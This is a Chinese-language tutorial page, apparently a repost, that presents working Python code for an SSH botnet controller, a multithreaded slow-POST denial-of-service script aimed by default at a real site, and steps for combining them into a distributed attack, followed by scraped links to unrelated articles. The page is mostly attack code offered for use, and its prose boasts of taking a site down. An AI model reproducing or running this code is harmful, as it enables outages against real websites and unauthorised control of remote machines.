基于python实现的DDoS
本例子包含两个小程序,具体如下:
目录
一个简单的网络僵尸程序
下面是一个简单的网络僵尸程序,先通过添加n个客户端的ip和登录账户密码,然后操控这些客户端发动对同一个目标ping的指令。
如果有上网个分布在不同地区的客户端,其ping的威力是不小的,攻击一个小网站是不在话下。
#!/usr/bin/python
# -*- coding: utf-8 -*-
import optparse
#import pxssh
from pexpect import pxssh
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception, e:
print e
print '[-] Error Connecting'
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output = client.send_command(command)
print '[*] Output from ' + client.host
print '[+] ' + output
def addClient(host, user, password):
client = Client(host, user, password)
botNet.append(client)
botNet = []
#addClient('127.0.0.1', 'root', 'wu.com')
addClient('127.0.0.1', 'wu_being', 'wu.com')
addClient('127.0.0.1', 'wu_being', 'wu.com')
addClient('localhost', 'wu_being', 'wu.com')
# addClient('11.22.33.33', 'root', '123456')
# addClient('112.33.43.55', 'root', 'password')
botnetCommand('uname -v')
botnetCommand('ping www.baidu.com -c 4')
#botnetCommand('cat /etc/issue')
用法(这样运行的)
huashidazhongbeitushuguan12deiMac:ddos huashida$ ls -l
total 40
-rwxr-xr-x@ 1 huashida staff 1231 11 28 15:22 4-botNet构建SSH僵尸网络.py
-rwxr-xr-x@ 1 huashida staff 1648 11 28 15:16 5-botNet构建SSH僵尸网络ddos.py
-rwxr-xr-x@ 1 huashida staff 1967 11 28 15:16 DoS_constantConn_MultiThread.py
-rwxr-xr-x@ 1 huashida staff 1084 11 28 15:16 dos.py
-rwxr-xr-x@ 1 huashida staff 53 11 28 15:16 sshpass.txt
huashidazhongbeitushuguan12deiMac:ddos huashida$ python 4-botNet构建SSH僵尸网络.py
一个简单的DOS攻击程序
DoS, Denial of Service, 拒绝服务,一种常用来使服务器或网络瘫痪的网络攻击手段。
我们要改的是这两处地方 改为:
- HOST="127.0.0.1"//你要撸的主机ip地址/域名
- PAGE="/welcome/default/index/index.py"//你要撸的页面
cmd命令行下执行脚本 刷刷刷,一连串socket连接。。。就开着呗。我们来看看现在网页还可以访问不? 显然被日瘫了。 别搞事情!
#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=200000
PORT=8000
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 1000000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket (socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf)
print "[+] Send buf OK!,conn=%d\n"%i
socks.append(s)
except Exception,ex:
print "[-] Could not connect to server or send error:%s"%ex
time.sleep(2)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f")
print "[+] send OK! %s"%s
except Exception,ex:
print "[-] send Exception:%s\n"%ex
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
用法和运行方式和上面一个类似,这里略过。
整合网络僵尸和DoS攻击——DDoS
如果觉得网络僵尸ping和简单的DoS还不够力,我们把上面的网络僵尸和DoS整合一下,成了传说中的DDos。
DDoS, Distributed Denial of Service, 分布式拒绝服务攻击,亦称作洪水攻击。DoS攻击与DDoS攻击的区别就是,它是一对一的攻击,而DDoS是分布式的攻击。
改进之处:
- 整合网络僵尸和DoS攻击;
- 实现每个肉鸡进行多线程Dos攻击
botnetCommand('python Dos_constantConn_MutilThread.py')
;
前提条件:
- 你要有不止一台可以做肉鸡的网络服务器(可以到阿里云、腾讯云、华为云多注册几台云服务器,当肉鸡)。
- 而且每个肉鸡客户端都可以运行python(一般linux服务器都自带python运行环境)。
程序可能问题:
- 有时把dos.py程序批量发到各个肉鸡服务器可能不成功,需要手工先发过去:
scp dos.py root@127.0.0.1:~/
基于python实现的DDoS
注:本文著作权归作者,由demo大师代发,拒绝转载,转载需要作者授权
基于python实现的DDoS的更多相关文章
- 【Machine Learning】决策树案例:基于python的商品购买能力预测系统
决策树在商品购买能力预测案例中的算法实现 作者:白宁超 2016年12月24日22:05:42 摘要:随着机器学习和深度学习的热潮,各种图书层出不穷.然而多数是基础理论知识介绍,缺乏实现的深入理解.本 ...
- 基于Python+Django的Kubernetes集群管理平台
➠更多技术干货请戳:听云博客 时至今日,接触kubernetes也有一段时间了,而我们的大部分业务也已经稳定地运行在不同规模的kubernetes集群上,不得不说,无论是从应用部署.迭代,还是从资源调 ...
- 关于《selenium2自动测试实战--基于Python语言》
关于本书的类型: 首先在我看来技术书分为两类,一类是“思想”,一类是“操作手册”. 对于思想类的书,一般作者有很多年经验积累,这类书需要细读与品位.高手读了会深有体会,豁然开朗.新手读了不止所云,甚至 ...
- psutil一个基于python的跨平台系统信息跟踪模块
受益于这个模块的帮助,在这里我推荐一手. https://pythonhosted.org/psutil/#processes psutil是一个基于python的跨平台系统信息监视模块.在pytho ...
- 一次完整的自动化登录测试-基于python+selenium进行cnblog的自动化登录测试
Web登录测试是很常见的测试!手动测试大家再熟悉不过了,那如何进行自动化登录测试呢!本文作者就用python+selenium结合unittest单元测试框架来进行一次简单但比较完整的cnblog自动 ...
- 搭建基于python +opencv+Beautifulsoup+Neurolab机器学习平台
搭建基于python +opencv+Beautifulsoup+Neurolab机器学习平台 By 子敬叔叔 最近在学习麦好的<机器学习实践指南案例应用解析第二版>,在安装学习环境的时候 ...
- 《Selenium2自动化测试实战--基于Python语言》 --即将面市
发展历程: <selenium_webdriver(python)第一版> 将本博客中的这个系列整理为pdf文档,免费. <selenium_webdriver(python)第 ...
- 从Theano到Lasagne:基于Python的深度学习的框架和库
从Theano到Lasagne:基于Python的深度学习的框架和库 摘要:最近,深度神经网络以“Deep Dreams”形式在网站中如雨后春笋般出现,或是像谷歌研究原创论文中描述的那样:Incept ...
- 基于python的互联网软件测试开发(自动化测试)-全集合
基于python的互联网软件测试开发(自动化测试)-全集合 1 关键字 为了便于搜索引擎收录本文,特别将本文的关键字给强调一下: python,互联网,自动化测试,测试开发,接口测试,服务测试,a ...
随机推荐
- oracle 11g在大表中添加字段及默认值--加速
今天遇到这个问题了.简单的增加语句,默认SQLPLUS执行,却会超时. 要增加客户端的TIMEOUT时间才可以解决.(感觉超过两三分钟,默认超时30秒) 另外, 也可以用两步操作(1,增加字段,2,修 ...
- yii2中判断数据表是否存在数据库中(原创)
分为两步: 第一步,找出数据库中所有表名,表名得到的是二维数组. 第二步,判断表名是否存在二维数组中 下面就贴我的代码咯. $table_name =‘table’; $juge = $handle- ...
- 通俗了解TCP/IP三次握手四次挥手
前言: tcp/ip通信机制是计算机中很重要的一个知识点,不是一句两句就能解释清楚的,需要反复推敲其中的玄妙. 通俗理解: 但是为什么一定要进行三次握手来保证连接是双工的呢,一次不行么?两次不行么?我 ...
- mysql:把DB1中A表a字段替换为DB2中B表b字段
UPDATE DB1.A SET a = ( SELECT b FROM DB2.B WHERE B.Id = A.id) 实例: UPDATE wordpress.`wp_posts` SET po ...
- mysql主从复制、读写分离
一.MySql介绍 MySQL作为世界上使用最为广泛的数据库之一,免费是其原因之一.但不可忽略的是它本身的功能的确很强大.随着技术的发展,在实际的生产环境中,由单台MySQL数据库服务器不能满足实际的 ...
- CentOS下MySQL主从复制,读写分离
1.环境:所有系统都是CentOS5.5 mysql-5.6.31-2.el5,MySQL中都没有数据 主服务器IP为192.168.128.230 从服务器IP为192.168.128.235 代理 ...
- 25、Django实战第25天:讲师详情页
1.复制teacher-detail.html到templates目录下 2.编辑teacher-detail.html,继承base.html 3.编辑organization.view.py cl ...
- 使用IIFE(立即执行函数)让变量私有化
今天去看了一个GITHUB上的开源项目,在客户端JS的脚本编写的时候,代码中多次使用了IIFE. 一开始我是懵逼的,不知道这种函数的意义何在,小菜鸟嘛. 后面我去研究了一番.发现了它的主要作用就是:让 ...
- 子域名/目录暴力工具Gobuster
子域名/目录暴力工具Gobuster Gobuster是Kali Linux默认安装的一款暴力扫描工具.它是使用Go语言编写的命令行工具,具备优异的执行效率和并发性能.该工具支持对子域名和Web目 ...
- small test on 5.30 night T1
数学题使劲推就对了. 让我们设 g(x) = ∑ C(i,x) * b^i ,然后后面验算了一张纸QWQ,懒得再打一遍了,回家我就把这张演算纸补上QWQ,先上代码. #include<cstd ...